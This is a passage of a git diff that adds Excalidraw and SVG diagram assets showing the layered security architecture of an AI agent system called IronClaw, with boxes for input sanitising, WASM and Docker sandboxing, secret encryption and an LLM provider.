"frameId": null, + "updated": 1772731667280 + }, + { + "type": "text", + "id": "safety_label", + "x": 335.3125, + "y": 310, + "width": 9.375, + "height": 20, + "text": "", + "originalText": "", + "fontSize": 16, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#b45309", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200102, + "version": 6, + "versionNonce": 337483295, + "isDeleted": true, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "layer1_safety", + "lineHeight": 1.25, + "index": "a8", + "frameId": null, + "roundness": null, + "updated": 1772731667281, + "autoResize": true + }, + { + "type": "rectangle", + "id": "sanitizer", + "x": 275, + "y": 180, + "width": 130, + "height": 50, + "strokeColor": "#b45309", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200110, + "version": 2, + "versionNonce": 980362513, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "sanitizer_text", + "type": "text" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "a9", + "frameId": null, + "updated": 1772731306616 + }, + { + "type": "text", + "id": "sanitizer_text", + "x": 290, + "y": 192.5, + "width": 100, + "height": 25, + "text": "Sanitizer", + "originalText": "Sanitizer", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200112, + "version": 2, + "versionNonce": 1129197695, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "sanitizer", + "lineHeight": 1.25, + "index": "aA", + "frameId": null, + "roundness": null, + "updated": 1772731306616, + "autoResize": true + }, + { + "type": "rectangle", + "id": "validator", + "x": 275, + "y": 260, + "width": 130, + "height": 50, + "strokeColor": "#b45309", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200120, + "version": 2, + "versionNonce": 71981809, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "validator_text", + "type": "text" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aB", + "frameId": null, + "updated": 1772731306616 + }, + { + "type": "text", + "id": "validator_text", + "x": 290, + "y": 272.5, + "width": 100, + "height": 25, + "text": "Validator", + "originalText": "Validator", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200122, + "version": 2, + "versionNonce": 5359775, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "validator", + "lineHeight": 1.25, + "index": "aC", + "frameId": null, + "roundness": null, + "updated": 1772731306616, + "autoResize": true + }, + { + "type": "rectangle", + "id": "policy", + "x": 275, + "y": 340, + "width": 130, + "height": 50, + "strokeColor": "#b45309", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200130, + "version": 2, + "versionNonce": 1023661265, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "policy_text", + "type": "text" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aD", + "frameId": null, + "updated": 1772731306616 + }, + { + "type": "text", + "id": "policy_text", + "x": 285, + "y": 352.5, + "width": 110, + "height": 25, + "text": "Policy Engine", + "originalText": "Policy Engine", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200132, + "version": 2, + "versionNonce": 1701665983, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "policy", + "lineHeight": 1.25, + "index": "aE", + "frameId": null, + "roundness": null, + "updated": 1772731306616, + "autoResize": true + }, + { + "type": "rectangle", + "id": "leak", + "x": 275, + "y": 420, + "width": 130, + "height": 70, + "strokeColor": "#b45309", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200140, + "version": 2, + "versionNonce": 2016613041, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "leak_text", + "type": "text" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aF", + "frameId": null, + "updated": 1772731306616 + }, + { + "type": "text", + "id": "leak_text", + "x": 285, + "y": 435, + "width": 110, + "height": 40, + "text": "Leak\nDetector", + "originalText": "Leak\nDetector", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200142, + "version": 2, + "versionNonce": 641821919, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "leak", + "lineHeight": 1.25, + "index": "aG", + "frameId": null, + "roundness": null, + "updated": 1772731306616, + "autoResize": true + }, + { + "type": "rectangle", + "id": "layer2_wasm", + "x": 480, + "y": 120, + "width": 180, + "height": 120, + "strokeColor": "#1e3a5f", + "backgroundColor": "#a7f3d0", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200200, + "version": 3, + "versionNonce": 649108927, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aH", + "frameId": null, + "updated": 1772731683230 + }, + { + "type": "text", + "id": "wasm_label", + "x": 565.3125, + "y": 170, + "width": 9.375, + "height": 20, + "text": "", + "originalText": "", + "fontSize": 16, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#047857", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200202, + "version": 6, + "versionNonce": 1064603103, + "isDeleted": true, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "layer2_wasm", + "lineHeight": 1.25, + "index": "aI", + "frameId": null, + "roundness": null, + "updated": 1772731683230, + "autoResize": true + }, + { + "type": "text", + "id": "wasm_details", + "x": 487.13671875, + "y": 167.9296875, + "width": 160, + "height": 60, + "text": "wasmtime runtime\nMemory limits\nFuel metering", + "originalText": "wasmtime runtime\nMemory limits\nFuel metering", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200205, + "version": 96, + "versionNonce": 105323327, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "aJ", + "frameId": null, + "roundness": null, + "updated": 1772731684991, + "autoResize": true + }, + { + "type": "rectangle", + "id": "layer3_docker", + "x": 480, + "y": 270, + "width": 180, + "height": 120, + "strokeColor": "#1e3a5f", + "backgroundColor": "#93c5fd", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200300, + "version": 3, + "versionNonce": 482958705, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aK", + "frameId": null, + "updated": 1772731701523 + }, + { + "type": "text", + "id": "docker_label", + "x": 565.3125, + "y": 320, + "width": 9.375, + "height": 20, + "text": "", + "originalText": "", + "fontSize": 16, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#1e40af", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200302, + "version": 6, + "versionNonce": 595494737, + "isDeleted": true, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "layer3_docker", + "lineHeight": 1.25, + "index": "aL", + "frameId": null, + "roundness": null, + "updated": 1772731701523, + "autoResize": true + }, + { + "type": "text", + "id": "docker_details", + "x": 486.16796875, + "y": 318.53515625, + "width": 160, + "height": 60, + "text": "Container isolation\nNetwork proxy\nCredential injection", + "originalText": "Container isolation\nNetwork proxy\nCredential injection", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200305, + "version": 95, + "versionNonce": 50859665, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "aM", + "frameId": null, + "roundness": null, + "updated": 1772731703345, + "autoResize": true + }, + { + "type": "rectangle", + "id": "layer4_secrets", + "x": 480, + "y": 420, + "width": 180, + "height": 100, + "strokeColor": "#1e3a5f", + "backgroundColor": "#fecaca", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200400, + "version": 3, + "versionNonce": 2037893375, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aN", + "frameId": null, + "updated": 1772731720262 + }, + { + "type": "text", + "id": "secrets_label", + "x": 565.3125, + "y": 460, + "width": 9.375, + "height": 20, + "text": "", + "originalText": "", + "fontSize": 16, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#b91c1c", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200402, + "version": 6, + "versionNonce": 1588875551, + "isDeleted": true, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "layer4_secrets", + "lineHeight": 1.25, + "index": "aO", + "frameId": null, + "roundness": null, + "updated": 1772731720262, + "autoResize": true + }, + { + "type": "text", + "id": "secrets_details", + "x": 517.5078125, + "y": 471.9765625, + "width": 91.40625, + "height": 30, + "text": "AES-256-GCM\nZero exposure", + "originalText": "AES-256-GCM\nZero exposure", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200405, + "version": 54, + "versionNonce": 2084521407, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "aP", + "frameId": null, + "roundness": null, + "updated": 1772731728701, + "autoResize": true + }, + { + "type": "rectangle", + "id": "output_layer", + "x": 730, + "y": 120, + "width": 150, + "height": 400, + "strokeColor": "#1e3a5f", + "backgroundColor": "#ddd6fe", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200500, + "version": 2, + "versionNonce": 348553599, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "output_label", + "type": "text" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aQ", + "frameId": null, + "updated": 1772731306616 + }, + { + "type": "text", + "id": "output_label", + "x": 755, + "y": 307.5, + "width": 100, + "height": 25, + "text": "Output Layer", + "originalText": "Output Layer", + "fontSize": 16, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#6d28d9", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200502, + "version": 2, + "versionNonce": 1643878897, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "output_layer", + "lineHeight": 1.25, + "index": "aR", + "frameId": null, + "roundness": null, + "updated": 1772731306616, + "autoResize": true + }, + { + "type": "ellipse", + "id": "llm", + "x": 735, + "y": 280, + "width": 140, + "height": 80, + "strokeColor": "#6d28d9", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200510, + "version": 2, + "versionNonce": 9959839, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "llm_text", + "type": "text" + } + ], + "link": null, + "locked": false, + "index": "aS", + "frameId": null, + "roundness": null, + "updated": 1772731306616 + }, + { + "type": "text", + "id": "llm_text", + "x": 765, + "y": 307, + "width": 80, + "height": 25, + "text": "LLM Provider", + "originalText": "LLM Provider", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200512, + "version": 2, + "versionNonce": 1882534865, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "llm", + "lineHeight": 1.25, + "index": "aT", + "frameId": null, + "roundness": null, + "updated": 1772731306616, + "autoResize": true + }, + { + "type": "arrow", + "id": "arrow_input_safety", + "x": 200, + "y": 320, + "width": 50, + "height": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 3, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200600, + "version": 2, + "versionNonce": 1069903295, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 50, + 0 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "input_layer", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "layer1_safety", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "aU", + "frameId": null, + "roundness": null, + "updated": 1772731306616 + }, + { + "type": "arrow", + "id": "arrow_safety_wasm", + "x": 430, + "y": 180, + "width": 50, + "height": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200610, + "version": 2, + "versionNonce": 467702193, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 50, + 0 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "layer1_safety", + "fixedPoint": [ + 0.8500057847474067, + 0.14999421525259343 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "layer2_wasm", + "fixedPoint": [ + 0.19995029167928413, + 0.199950291679284 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "aV", + "frameId": null, + "roundness": null, + "updated": 1772731306616 + }, + { + "type": "arrow", + "id": "arrow_safety_docker", + "x": 430, + "y": 330, + "width": 50, + "height": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200620, + "version": 2, + "versionNonce": 2104450527, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 50, + 0 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "layer1_safety", + "fixedPoint": [ + 0.5249816802202086, + 0.5249816802202087 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "layer3_docker", + "fixedPoint": [ + 0.4517821871651538, + 0.5482178128348465 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "aW", + "frameId": null, + "roundness": null, + "updated": 1772731306616 + }, + { + "type": "arrow", + "id": "arrow_safety_secrets", + "x": 430, + "y": 470, + "width": 50, + "height": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200630, + "version": 2, + "versionNonce": 1512387473, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 50, + 0 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "layer1_safety", + "fixedPoint": [ + 0.8749959825302559, + 0.874995982530256 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "layer4_secrets", + "fixedPoint": [ + 0.17074723719844562, + 0.829252762801554 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "aX", + "frameId": null, + "roundness": null, + "updated": 1772731306616 + }, + { + "type": "arrow", + "id": "arrow_wasm_output", + "x": 660, + "y": 180, + "width": 70, + "height": 100, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200640, + "version": 2, + "versionNonce": 749095423, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 35, + 0 + ], + [ + 35, + 100 + ], + [ + 70, + 100 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "layer2_wasm", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "output_layer", + "fixedPoint": [ + 0.4, + 0.4 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "aY", + "frameId": null, + "roundness": null, + "updated": 1772731306616 + }, + { + "type": "arrow", + "id": "arrow_docker_output", + "x": 660, + "y": 330, + "width": 70, + "height": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200650, + "version": 2, + "versionNonce": 255498609, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 70, + 0 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "layer3_docker", + "fixedPoint": [ + 0.5467006345534685, + 0.546700634553469 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "output_layer", + "fixedPoint": [ + 0.4750133612539283, + 0.5249866387460735 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "aZ", + "frameId": null, + "roundness": null, + "updated": 1772731306616 + }, + { + "type": "arrow", + "id": "arrow_secrets_output", + "x": 660, + "y": 470, + "width": 70, + "height": 100, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200660, + "version": 2, + "versionNonce": 174764575, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 35, + 0 + ], + [ + 35, + -100 + ], + [ + 70, + -100 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "layer4_secrets", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "output_layer", + "fixedPoint": [ + 0.3750000000000008, + 0.6249999999999999 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "aa", + "frameId": null, + "roundness": null, + "updated": 1772731306616 + }, + { + "type": "text", + "id": "layer_label_1", + "x": 228.828125, + "y": 554.8359375, + "width": 200, + "height": 20, + "text": "Prompt Injection Defense", + "originalText": "Prompt Injection Defense", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200700, + "version": 100, + "versionNonce": 711783743, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "ab", + "frameId": null, + "roundness": null, + "updated": 1772731754467, + "autoResize": true + }, + { + "type": "text", + "id": "layer_label_2", + "x": 493.91015625, + "y": 555.90625, + "width": 155.859375, + "height": 17.5, + "text": "Sandboxed Execution", + "originalText": "Sandboxed Execution", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200710, + "version": 64, + "versionNonce": 1074376671, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "ac", + "frameId": null, + "roundness": null, + "updated": 1772731757417, + "autoResize": true + }, + { + "type": "text", + "id": "layer_label_3", + "x": 736.94140625, + "y": 554.86328125, + "width": 139.453125, + "height": 17.5, + "text": "External Services", + "originalText": "External Services", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200720, + "version": 50, + "versionNonce": 1475228351, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "ad", + "frameId": null, + "roundness": null, + "updated": 1772731759618, + "autoResize": true + }, + { + "id": "kqnxwt-UcpIurRGPzDxjD", + "type": "text", + "x": 68.44921875, + "y": 134.4453125, + "width": 114.1399917602539, + "height": 25, + "angle": 0, + "strokeColor": "#1e1e1e", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "groupIds": [], + "frameId": null, + "index": "ae", + "roundness": null, + "seed": 1189792977, + "version": 70, + "versionNonce": 1014172063, + "isDeleted": false, + "boundElements": null, + "updated": 1772731341424, + "link": null, + "locked": false, + "text": "Input Layer", + "fontSize": 20, + "fontFamily": 5, + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Input Layer", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "id": "fmSoOhbjW-KR-LZ7Of5_r", + "type": "text", + "x": 267.05078125, + "y": 135.6640625, + "width": 148.08001708984375, + "height": 25, + "angle": 0, + "strokeColor": "#1e1e1e", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "groupIds": [], + "frameId": null, + "index": "af", + "roundness": null, + "seed": 2036562495, + "version": 32, + "versionNonce": 708025951, + "isDeleted": false, + "boundElements": null, + "updated": 1772731672231, + "link": null, + "locked": false, + "text": "Layer 1: Safety", + "fontSize": 20, + "fontFamily": 5, + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Layer 1: Safety", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "id": "7gdLBU_iaqdFNI9bp8VP2", + "type": "text", + "x": 502.5703125, + "y": 134.43359375, + "width": 141.83999633789062, + "height": 25, + "angle": 0, + "strokeColor": "#1e1e1e", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "groupIds": [], + "frameId": null, + "index": "ag", + "roundness": null, + "seed": 230332287, + "version": 20, + "versionNonce": 376269343, + "isDeleted": false, + "boundElements": null, + "updated": 1772731692547, + "link": null, + "locked": false, + "text": "Layer 2: WASM", + "fontSize": 20, + "fontFamily": 5, + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Layer 2: WASM", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "id": "hQ2Rh-9rZB-9KTJPDf6Gh", + "type": "text", + "x": 493.875, + "y": 282.7109375, + "width": 152.72000122070312, + "height": 25, + "angle": 0, + "strokeColor": "#1e1e1e", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "groupIds": [], + "frameId": null, + "index": "ah", + "roundness": null, + "seed": 1336174367, + "version": 34, + "versionNonce": 181857151, + "isDeleted": false, + "boundElements": null, + "updated": 1772731710614, + "link": null, + "locked": false, + "text": "Layer 3: Docker", + "fontSize": 20, + "fontFamily": 5, + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Layer 3: Docker", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "id": "IC8TsnrhZEG5rp5ysAbB9", + "type": "text", + "x": 493.52734375, + "y": 432.2109375, + "width": 158.6999969482422, + "height": 25, + "angle": 0, + "strokeColor": "#1e1e1e", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "groupIds": [], + "frameId": null, + "index": "ai", + "roundness": null, + "seed": 1466619199, + "version": 49, + "versionNonce": 167032703, + "isDeleted": false, + "boundElements": null, + "updated": 1772731726410, + "link": null, + "locked": false, + "text": "Layer 4: Secrets", + "fontSize": 20, + "fontFamily": 5, + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Layer 4: Secrets", + "autoResize": true, + "lineHeight": 1.25 + } + ], + "appState": { + "gridSize": 20, + "gridStep": 5, + "gridModeEnabled": false, + "viewBackgroundColor": "#ffffff", + "lockedMultiSelections": {} + }, + "files": {} +} \ No newline at end of file diff --git a/docs/drafts/assets/security-architecture.png b/docs/drafts/assets/security-architecture.png new file mode 100644 index 0000000000..dd5a38d6c7 Binary files /dev/null and b/docs/drafts/assets/security-architecture.png differ diff --git a/docs/drafts/assets/security-architecture.svg b/docs/drafts/assets/security-architecture.svg new file mode 100644 index 0000000000..fbf4ae0fba --- /dev/null +++ b/docs/drafts/assets/security-architecture.svg @@ -0,0 +1,5 @@ + + +IronClaw Security ArchitectureDefense in DepthChannelsTUIWebTelegramWebhookSanitizerValidatorPolicy EngineLeakDetectorwasmtime runtimeMemory limitsFuel meteringContainer isolationNetwork proxyCredential injectionAES-256-GCMZero exposureOutput LayerLLM ProviderPrompt Injection DefenseSandboxed ExecutionExternal ServicesInput LayerLayer 1: SafetyLayer 2: WASMLayer 3: DockerLayer 4: Secrets \ No newline at end of file diff --git a/docs/drafts/assets/security-data-flow.excalidraw b/docs/drafts/assets/security-data-flow.excalidraw new file mode 100644 index 0000000000..b424fbe56a --- /dev/null +++ b/docs/drafts/assets/security-data-flow.excalidraw @@ -0,0 +1,1651 @@ +{ + "type": "excalidraw", + "version": 2, + "source": "https://excalidraw.com", + "elements": [ + { + "type": "text", + "id": "title", + "x": 255.234375, + "y": -14.71875, + "width": 300, + "height": 35, + "text": "Security Data Flow", + "fontSize": 28, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "top", + "strokeColor": "#1e40af", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100001, + "version": 87, + "versionNonce": 1817850630, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "a0", + "frameId": null, + "roundness": null, + "updated": 1772740137364, + "originalText": "Security Data Flow", + "autoResize": true + }, + { + "type": "text", + "id": "subtitle", + "x": 247.96875, + "y": 20.60546875, + "width": 300, + "height": 20, + "text": "Defense in Depth", + "fontSize": 16, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "top", + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100003, + "version": 206, + "versionNonce": 1458610202, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "a1", + "frameId": null, + "roundness": null, + "updated": 1772740153515, + "originalText": "Defense in Depth", + "autoResize": true + }, + { + "type": "ellipse", + "id": "user_input", + "x": 147.8359375, + "y": 87.09375, + "width": 100, + "height": 40, + "strokeColor": "#5B6FFF", + "backgroundColor": "#dbeafe", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 300010, + "boundElements": [ + { + "id": "user_input_text", + 